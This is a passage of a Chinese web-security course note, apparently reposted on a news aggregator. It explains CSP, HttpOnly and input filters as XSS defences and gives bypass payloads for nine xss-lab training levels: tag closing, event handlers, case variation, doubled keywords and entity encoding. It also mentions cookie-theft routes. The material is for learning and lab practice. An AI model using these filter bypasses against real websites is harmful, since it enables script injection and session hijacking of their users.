当前位置: 首页 > news >正文

Day55:WEB攻防-XSS跨站CSP策略HttpOnly属性Filter过滤器标签闭合事件触发

目录

XSS跨站-安全防御-CSP

XSS跨站-安全防御-HttpOnly

XSS跨站-安全防御-XSSFilter(过滤器的意思)

1、无任何过滤

2、实体化 输入框没有

3、全部实体化 利用标签事件 单引号闭合

4、全部实体化 利用标签事件 双引号闭合

5、事件关键字过滤 利用其他标签调用 双引号闭合

6、利用大小写未正则匹配

7、利用双写绕过匹配

8、利用Unicode编码

9、利用Unicode编码(内容检测)


知识点:

1、XSS跨站-安全防御-CSP策略

2、XSS跨站-安全防御-HttpOnly

3、XSS跨站-安全防御-XSSFilter

常用标签:
https://www.freebuf.com/articles/web/340080.html
https://xz.aliyun.com/t/4067

XSS跨站-安全防御-CSP

CSP (Content Security Policy 内容安全策略)  各种语言都存在,只不过设置不同
内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容。
该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单(当外部资源不在白名单内,禁止网站访问外部资源),
它的实现和执行全部由浏览器完成,开发者只需提供配置。
禁止加载外域代码,防止复杂的攻击逻辑。
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
合理使用上报可以及时发现XSS,利于尽快修复问题。

实验:开启CSP时XSS的加载情况

XSS平台也不会接收到相关cookie信息

未开启CSP时XSS的加载情况(跟常规一样,直接获取cookie)

绕过:有但鸡肋
https://xz.aliyun.com/t/12370
https://blog.csdn.net/a1766855068/article/details/89370320

XSS跨站-安全防御-HttpOnly

禁止页面的JavaScript访问带有HttpOnly属性的Cookie。

PHP.INI设置或代码引用

-session.cookie_httponly =1

-ini_set("session.cookie_httponly", 1);

-setcookie('', '', time() + 3600, '/xss', '', false, true);

实验:开启HttpOnly时XSS窃取Cookie的加载情况

未开启HttpOnly时XSS窃取Cookie的加载情况

绕过:有但鸡肋
(1) CVE-2012-0053
(2) PHPINFO页面/
(3) Flash/Java
https://blog.csdn.net/weixin_42478365/article/details/116597222
思路:不获取Cookie采用方式(钓鱼,浏览器攻击框架等)
 

XSS跨站-安全防御-XSSFilter(过滤器的意思)

检查用户输入的数据中是否包含特殊字符, 如<、>、’、”,进行实体化等。

实验:手工分析&工具分析

Xss-Lab 标签及常见过滤绕过

环境下载:https://github.com/Re13orn/xss-lab
常用标签:https://www.freebuf.com/articles/web/340080.html
https://xz.aliyun.com/t/4067
工具下载项目:https://github.com/s0md3v/XSStrike
工具使用参考地址:https://blog.csdn.net/weixin_50464560/article/details/120384706

1、无任何过滤

<script>alert()</script>

2、实体化 输入框没有

">  <script>alert()</script>  <" 

3、全部实体化 利用标签事件 单引号闭合

' οnfοcus=javascript:alert() '

4、全部实体化 利用标签事件 双引号闭合

" οnfοcus=javascript:alert() "

5、事件关键字过滤 利用其他标签调用 双引号闭合

"> <a href=javascript:alert()>xxx</a> <"

6、利用大小写未正则匹配

"> <sCript>alert()</sCript> <"

7、利用双写绕过匹配

"> <a hrehreff=javasscriptcript:alert()>x</a> <"

8、利用Unicode编码

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0029

这个编码浏览器地址是能够识别的,但是在前端代码里不一定能够识别

9、利用Unicode编码(内容检测)

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0029;('http://')

10-20:https://blog.csdn.net/l2872253606/article/details/125638898

黑盒XSS手工分析:
1、页面中显示的数据找可控的(有些隐藏的)
2、利用可控地方发送JS代码去看执行加载情况
3、成功执行即XSS,不能成功就看语句输出的地方显示(过滤)
4、根据显示分析为什么不能执行(实体化,符号括起来,关键字被删除等)

http://www.lryc.cn/news/328271.html

相关文章:

  • root_fs文件系统结构分析和内核加载流程
  • macOS系统配置RUST开发环境
  • Android 15全面解读:性能飙升、隐私守护与智能生活新纪元
  • Java项目:80 springboot师生健康信息管理系统
  • 云服务器配置 docker-spark
  • Matlab之求直角坐标系下两直线的交点坐标
  • Python3:ModuleNotFoundError: No module named ‘elftools‘
  • 【Vue】创建vue项目 npm ERR! code CERT_HAS_EXPIRED npm ERR! errno CERT_HAS_EXPIRED
  • 5、Cocos Creator 动作系统
  • web3 token 如何理解
  • unity pivot和center的区别
  • Python学习笔记-简单案例实现多进程与多线程
  • python常用的语法
  • 【计算机网络】概述
  • 【Flink connector】文件系统 SQL 连接器:实时写文件系统以及(kafka到hive)实战举例
  • RpcContext :提供了在 RPC 调用过程中访问当前调用信息的方法
  • 机器学习 - 提高模型 (代码)
  • 数值代数及方程数值解:预备知识——二进制及浮点数
  • 新数字时代的启示:揭开Web3的秘密之路
  • 算法——动态规划:01背包
  • 写作类AI推荐(二)
  • 分寝室(20分)(JAVA)
  • Spring 源码调试问题 ( List.of(“bin“, “build“, “out“); )
  • Centos7安装RTL8111网卡驱动
  • 吉时利KEITHLEY2460数字源表
  • 数据库原理(含思维导图)
  • 数据结构(六)——图
  • Android-AR眼镜屏幕显示
  • 蓝桥集训之货币系统
  • 基于微信小程序的校园服务平台设计与实现(程序+论文)